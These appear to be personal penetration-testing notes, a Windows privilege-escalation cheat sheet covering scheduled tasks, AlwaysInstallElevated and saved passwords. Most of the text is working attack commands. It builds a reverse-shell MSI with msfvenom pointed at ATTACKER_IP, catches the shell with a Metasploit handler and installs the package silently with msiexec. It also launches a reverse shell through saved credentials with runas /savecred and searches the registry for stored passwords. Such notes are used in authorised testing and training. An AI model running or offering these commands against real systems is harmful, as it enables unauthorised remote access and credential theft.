Scheduled Tasks:
schtasks #check for tasks to be run with user accounts with higher privilege
-
AlwaysInstallElevated:
#.msi files can be configured to run with higher privileges #setting both registry values reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer #on attacker machine, generate malicious .msi file msfvenom -p windows/x64/shell_reverse_tcpLHOST=ATTACKER_IP LPORT=LOCAL_PORT -f msi -o malicious.msi msfconsole use exploit/multi/handler #set LHOST,LPORT and run exploit to receive reverse shell #command to be run on target system msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
-
Passwords:
cmdkey /list #lists saved credentials runas /savecred /user:admin reverse_shell.exe #try credentials #registry keys can also contain passwords reg query HKLM /f password /t REG_SZ /s reg query HKLM /f password /t REG_SZ /s
-